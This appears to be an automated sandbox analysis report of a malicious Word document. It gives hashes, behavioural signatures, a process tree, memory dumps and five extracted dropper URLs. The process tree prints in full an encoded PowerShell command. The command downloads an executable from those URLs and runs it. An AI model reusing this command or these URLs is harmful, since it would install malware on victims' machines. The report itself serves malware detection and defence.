Analysis

  • max time kernel
    117s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 20:54

General

  • Target

    3a3c89a0440aa8dda0278f276fb57c751c9d10c68bbc96f5409126e651aa8152.doc

  • Size

    171KB

  • MD5

    d9c29a894206b52c9cbe72edd90182a1

  • SHA1

    01e60a5d1ab06fc9fbf658925f92cd931022d059

  • SHA256

    3a3c89a0440aa8dda0278f276fb57c751c9d10c68bbc96f5409126e651aa8152

  • SHA512

    ee51745de3cdfa64c1eeb2d13697e715176906e09c5d4f5d4632ea839027c23bf5f24c1a1282e0b53b16fc4253d912009e6c33291fd4618ab7d411bd2b47e29e

  • SSDEEP

    3072:SG4PrXcuQuvpzm4bkiaMQgAlSApJ0aP7qI0DaCppgRyLtGIhRD:8DRv1m4bnQgISCJ0aPkGIhRD

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://departure.world/wp-content/V4GFFNihI/

exe.dropper

http://songbadtv.com/wp-includes/XQrT027149/

exe.dropper

https://planet7vip.com/czy/hR8MMWwRkY/

exe.dropper

http://blog.tujanena.com/ariu/C2LSRbc8/

exe.dropper

http://drsoli.com/k1vjzk/XtSsbRPzyI/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3a3c89a0440aa8dda0278f276fb57c751c9d10c68bbc96f5409126e651aa8152.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1292
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2592
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JAB3AGUAYwB3AGkAYQBjAGgAcgBpAHoAPQAnAHMAYQBlAHAAYwBhAHoAdwBhAHUAZwBxAHUAdQBhAHkAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGAAYwBgAFUAUgBpAHQAWQBQAHIAYABPAHQAbwBgAGMAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAZwBlAG8AaABiAGUAbwBqAHkAYQBlAGMAIAA9ACAAJwA3ADMANAAnADsAJABxAHUAbwB1AHcAcwBpAGEAYgBxAHUAZQBrAHEAdQBlAHUAaAA9ACcAeABhAGUAdABoAGMAbwBlAG0AdABhAG8AeAAnADsAJABtAG8AeQBoAGEAZQBjAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABnAGUAbwBoAGIAZQBvAGoAeQBhAGUAYwArACcALgBlAHgAZQAnADsAJABnAGUAdQB6AHAAbwBvAHEAdQB5AGUAZQBmAGoAYQB1AHgAPQAnAGsAbwBpAHcAcQB1AG8AdQBuAGYAZQBhAHQAJwA7ACQAagBvAGkAcAB3AHUAYQBwAD0AJgAoACcAbgAnACsAJwBlAHcALQAnACsAJwBvAGIAagAnACsAJwBlAGMAdAAnACkAIABuAGUAVAAuAFcAZQBCAEMATABJAEUATgBUADsAJABxAHUAZQBpAGoAcgBvAGEAcwA9ACcAaAB0AHQAcAA6AC8ALwBkAGUAcABhAHIAdAB1AHIAZQAuAHcAbwByAGwAZAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBWADQARwBGAEYATgBpAGgASQAvACoAaAB0AHQAcAA6AC8ALwBzAG8AbgBnAGIAYQBkAHQAdgAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AWABRAHIAVAAwADIANwAxADQAOQAvACoAaAB0AHQAcABzADoALwAvAHAAbABhAG4AZQB0ADcAdgBpAHAALgBjAG8AbQAvAGMAegB5AC8AaABSADgATQBNAFcAdwBSAGsAWQAvACoAaAB0AHQAcAA6AC8ALwBiAGwAbwBnAC4AdAB1AGoAYQBuAGUAbgBhAC4AYwBvAG0ALwBhAHIAaQB1AC8AQwAyAEwAUwBSAGIAYwA4AC8AKgBoAHQAdABwADoALwAvAGQAcgBzAG8AbABpAC4AYwBvAG0ALwBrADEAdgBqAHoAawAvAFgAdABTAHMAYgBSAFAAegB5AEkALwAnAC4AIgBzAFAAYABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAHIAbwBhAGsAbABhAGUAaAA9ACcAdABoAG8AYQBtAHgAbwBvAGMAaABvAGIAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGgAdQBhAGQAZABlAHUAcgBxAHUAYQBpAGgAagBhAHcAIABpAG4AIAAkAHEAdQBlAGkAagByAG8AYQBzACkAewB0AHIAeQB7ACQAagBvAGkAcAB3AHUAYQBwAC4AIgBkAE8AYAB3AE4AYABsAGAATwBhAGQAZgBpAEwAZQAiACgAJABoAHUAYQBkAGQAZQB1AHIAcQB1AGEAaQBoAGoAYQB3ACwAIAAkAG0AbwB5AGgAYQBlAGMAKQA7ACQAYwBoAGUAdQBrAGMAaABvAGkAdgA9ACcAcgBhAGUAawBxAHUAbwBlAGIAYgBpAG8AeQBwAHUAYQB5ACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAbQBvAHkAaABhAGUAYwApAC4AIgBMAEUAYABOAGAAZwB0AGgAIgAgAC0AZwBlACAAMwAzADQAOAAzACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAGAAUgBgAEUAQQB0AEUAIgAoACQAbQBvAHkAaABhAGUAYwApADsAJABxAHUAbwB1AHAAZgBvAHUAdABoAD0AJwBjAGUAYQBwAGIAaQBvAGIAdwBpAGEAYgAnADsAYgByAGUAYQBrADsAJABjAGgAYQBvAHEAdQBqAG8AYQBkAGIAdQB0AGgAeQB1AHQAPQAnAGsAZQBpAGIAdgBlAG8AZgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABjAGgAaQBlAGoAZwB1AG0AYgBpAGEAcAA9ACcAcQB1AG8AaQBjAGgAYgBhAGUAeABwAGEAbwBzACcA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2760

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1292-32-0x00000000062B0000-0x00000000063B0000-memory.dmp

      Filesize

      1024KB

    • memory/1292-47-0x00000000062B0000-0x00000000063B0000-memory.dmp

      Filesize

      1024KB

    • memory/1292-2-0x000000007332D000-0x0000000073338000-memory.dmp

      Filesize

      44KB

    • memory/1292-5-0x0000000000450000-0x0000000000550000-memory.dmp

      Filesize

      1024KB

    • memory/1292-6-0x0000000000450000-0x0000000000550000-memory.dmp

      Filesize

      1024KB

    • memory/1292-16-0x00000000062B0000-0x00000000063B0000-memory.dmp

      Filesize

      1024KB

    • memory/1292-7-0x0000000000450000-0x0000000000550000-memory.dmp

      Filesize

      1024KB

    • memory/1292-0-0x000000002F3B1000-0x000000002F3B2000-memory.dmp

      Filesize

      4KB

    • memory/1292-49-0x00000000062B0000-0x00000000063B0000-memory.dmp

      Filesize

      1024KB

    • memory/1292-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1292-21-0x00000000062B0000-0x00000000063B0000-memory.dmp

      Filesize

      1024KB

    • memory/1292-26-0x00000000062B0000-0x00000000063B0000-memory.dmp

      Filesize

      1024KB

    • memory/1292-48-0x00000000062B0000-0x00000000063B0000-memory.dmp

      Filesize

      1024KB

    • memory/1292-40-0x0000000000450000-0x0000000000550000-memory.dmp

      Filesize

      1024KB

    • memory/1292-41-0x000000007332D000-0x0000000073338000-memory.dmp

      Filesize

      44KB

    • memory/1292-43-0x0000000006CD0000-0x0000000006DD0000-memory.dmp

      Filesize

      1024KB

    • memory/1292-44-0x00000000062B0000-0x00000000063B0000-memory.dmp

      Filesize

      1024KB

    • memory/1292-31-0x00000000062B0000-0x00000000063B0000-memory.dmp

      Filesize

      1024KB

    • memory/2760-39-0x0000000001E80000-0x0000000001E88000-memory.dmp

      Filesize

      32KB

    • memory/2760-38-0x000000001B690000-0x000000001B972000-memory.dmp

      Filesize

      2.9MB